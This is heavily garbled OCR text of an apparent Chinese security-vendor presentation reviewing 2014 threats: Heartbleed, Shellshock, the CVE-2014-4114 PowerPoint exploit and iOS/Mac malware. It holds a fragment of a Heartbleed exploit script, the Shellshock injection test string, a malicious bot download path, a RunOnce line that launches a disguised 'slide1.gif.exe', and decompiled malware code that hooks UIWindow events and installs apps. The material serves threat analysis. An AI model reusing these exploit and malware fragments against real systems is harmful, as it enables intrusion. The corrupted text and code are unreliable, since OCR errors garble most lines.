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b = hzbin("'"'

8 03 02 00
11 40 00
it

03

lef hexdump(s):
for b in xrange(®, len(s), 16):

lin = [c for ¢ in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in 1

pdat = ''.join((c Lif 32 <= ord(c) <= 126 el

print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

let bleedheart(ip):

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM

s.connect((ip, 445))

s.send(hello)

while True:

typ, ver, pay = recvmsg(s)
if typ == None:

return 3

if typ == 22 and ord(pay[0]) == Ox8E:

s.sendfl hhY

break
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¢ Red Hat ' : — 1: echo Vulnet
e Cent OS
e Ubuntu

e Fedora
1 ~ env x="() { :;}; echo Vulnerable CVE-2014-6.
° Amazon Llnux ;:llner'nhie CVE-2014-6271 ! -20ld-eart

test

® OS X 10.10 =% ~ bash --version

GNU bash, wversion 3.2.51(1)-release (x86_64-apple-darwinl4)
Copyright (C) 2007 Free Software Foundation, Inc.

C:\Users'\sume:adb shell

# bash --version

bash --uersion

GNU bash, version 4.2 .45(2)-release (arm-android-linux=gnhu}

#[32m( GNU bash Distro for Android ARM/MIPS/x86 - BitCubate Rpps)+[Om
#[33mFor support contact Robert MNediyakalaparambil (maxice@gmall.com) o
itcubate. com*[8m

e Android
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ANTIY

6] 9221 F Bash [1 il 25 A% 22

e HTTP
e DHCP
e SSH

e SIP

e Qmail
e Postfix
e FTP

* OpenVPN
e Oracle
e TMINT
e Hand
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MI]&;

DHCP SSH  OpenVPN Oracle  Postfix SIP

bash
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AT RE AR R
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PHPICEGE Ak  #AFEEcvez0121823  FIABRER it b ey

N 4 / /

k ] o |

stablehost.us[bots/regular.bot

2012565 H1H 2014%F11H1H
N " s N
O3, 3, Nop 4 - N CX#E, Perl, Wea' k-
lll[lEK 'ﬂj ELFXCHF (A, B) ELFICHFA ELF3Z A Linux, MAC
EEAPD: soT EEMN: sor  EEKH: soT EE.: ot EEE: soT
Name Last modified Size Description
aParemDire-:IM' -
[P a 2014-07-20 14:55 37K
[_!"'] ac 2014-07-20 14:55 38K

[?) reqularbot2  2014-07-20 14:46 377
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Mame Risk Group Format Relation
4 | Exploit.CVE-2014-4114.ppix$ 0% Archive zIP Root
ppifembeddings/oleObjecti.bin 409 Document CFBF Embedded
£ pptfembeddings/oleObject2.bin 40% Document CFBF Embedded
k=4
B docProps/thumbnail jpeg 0% Image JPEG Embedded
B ppt/mediafimage3.gif 0% Image GIF Embedded
4 (G Other
_relsjirels ? Other Unknown Embedded
L S e ? Other Unknaown
lj\] H}’(ﬁ?{lﬂ%uﬁﬁ OLE X\—J‘% ? Other Unknown

pets

DefaultDestDir = 1+

it

[BxBename]
slide1.gif.exe, slidel.gifv

[BxStart]+

HELM Software| Microsoft| Windows| CurrentVersion| RunOnce Install, %1% slide1 gif.exed
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«BHE]: 2014411 H6H

e 224 : Windows, Mac 0S X, i0S
e &ZIl: Palo Alto Networks
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CERT Team AVL Team
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Z 23 Jt#E CERT Team

ANTIY

@ ekangwen206 | v Eili
TaiTEHE - AR

2475%  0EH 0iTiR 50%#2

2PHE HE O BHE X 8% W Hif!
HET SEEE Y SSRE RBERE THAE B
ES W wBS=%iA 101073 rar 2014-03-14 12:16 14347 11 109
EE =f& 125 T rar Z014-03-14 1216 Z1BT ade 153
El @@/ ifEEhE 1130 rar 2014-03-14 1218 35 547 ZEAT

38 call  ds:GetTempPathn

3C8 lea ecx, [ebp+var_33C]

3CH call ds:?70878CStringTR WU?3StrTraitiFC DLLE

3C0 xor ebx, ebx

3C8 lea ecx, [ebp+lpFileMame]

3C8 mov [ebp+uar_4], ebx

3CA call ds:?7075CStringT@_WUZ3StrTraitiFC_DLLE

ace lea edx, [ebp+Buffer] 178 call ds:GetTempPathnA

3cA push edx 1708 lea eax, [esp+16Ch+Buffer]
3C4 push offset aSapps_ipa ; "%s/apps.ipa” 178 push eax

3C8 lea eax, [ebp+lpString] 174 push offset asSAapps_ipa ; "%s/apps.ipa”
JC8 mou byte ptr [ebpruar_4], 1 178 lea eax, [esp+174h+1Param]
308 call  cat tr 178 call  cat_str

3C8 lea eax, [ebp+Buffer] =

3C8 push Bax 178 movu ecx, [esp+174h+1Param]

3CC push  offset aSThird ipa ; "%s/third.ipa” 178 push cCx

308 lea eax, [ebp+1lphultiByteStr] 17C push edi
308 call  cat_str 188 xor edx, edx

3D0 mov eax, [ebp+1pString] 188 mow ecx, esi
308 mov edi, ds:MultiByteToWideChar 1868 call install_app



r12, cs:classRef_HSString
rsi, cs:selRef_mainBundle 50
rdi, cs:classRef_HNSBundle
ri14, cs:_objc_msqgSend ptr

ri4 ; _objc_msgSend
rdi, rax
mahin makratnfiabaunaTlancradbatianiiaToan
u8 = objc_msgSend(&0BJC_CLASS __ MSAutoreleasePool, "alloc");
u18 = objc_msgSend{v8, "init"});
vl = objc_msgSend{&OBJC_CLASS___ NSBundle, "mainBundle™);
u? = gbjc_msgSend(v1, “infoDictionary™);
vi = objc_msgSend(v?, "objectForKey:", CFSTR({“CFBundleExecutable™));
uvi = objc_msgSend(&0BJC_CLASS __ HSArray, "alloc™);
uS = objc_msgSend(
ul,
"“initWithobjects:",
CFSTR("MobilePhone"),
CFSTR("MobileSHs"),
CFSTR{"MobileSafari"),
CFSTR("MobileStorageMounter'),
CFSTR("Search"),
CFSTR("${EXECUTABLE_MAME}"),
CFSTR{"Preferences"),
03
if (va )
{
if ( (unsigned int)objc_msgSend{v5, “containsObject:", v3) & BxFF )
objc_msgSend(&0BJC_CLASS__ mydUtils, "CheckUpdate™);

u6 = objc_msgSend(&OBJC_CLASS__ UIWindow, “class");
MSHookMessageEx{u6, "sendEvent:", replace_UIWindow sendEvent, &original_UIWindow_sendEvent);
u7 = objc_msgSend{&0BJC_CLASS__ HSArray, "alloc");
ug = objc_msgSend{
w7,
“ipitwithobjects:",
. CFSTR{"'Search'},
u51 =|stat("InpplicatiunSICydia.app", &US5); |
HSLog(CFSTR{ chUIa-42d X171,
u29 = objc_msgSend(&0BJC_CLASS__ MSFileManager, “alloc™);
v2d = objc_msgSend(v29, "init™);
u31 = objc_msqSend{&OBJC_CLASS__ HSBundle, "mainBundle™};
v3? = {uoid =)objc_retainfutoreleasedReturnValue{v31};
v3d = vi2;
v3h = objc_msgSend({v3?, "resourcePath");
U35 = objc_retainAutoreleasedReturnlalue{uss);
u3h = u35;
v37 = objc_msgSend(&OBJC_CLASS___ NSString, "stringwithFurmat:",IBFSTR("%@ISFhase.dylih"),Iu35);
54 = objc_retainfAutoreleasedReturnValue{u37);
objc_release({vida);
objc_release({vid);
NSLog(CFSTR{"path:%@"});
if { {unsigned int)objc_msgSend{v30, "fileExistsAtPath:isDirectory:", vSh, B) & BxFF )
u3d = CFSTR("file exists");
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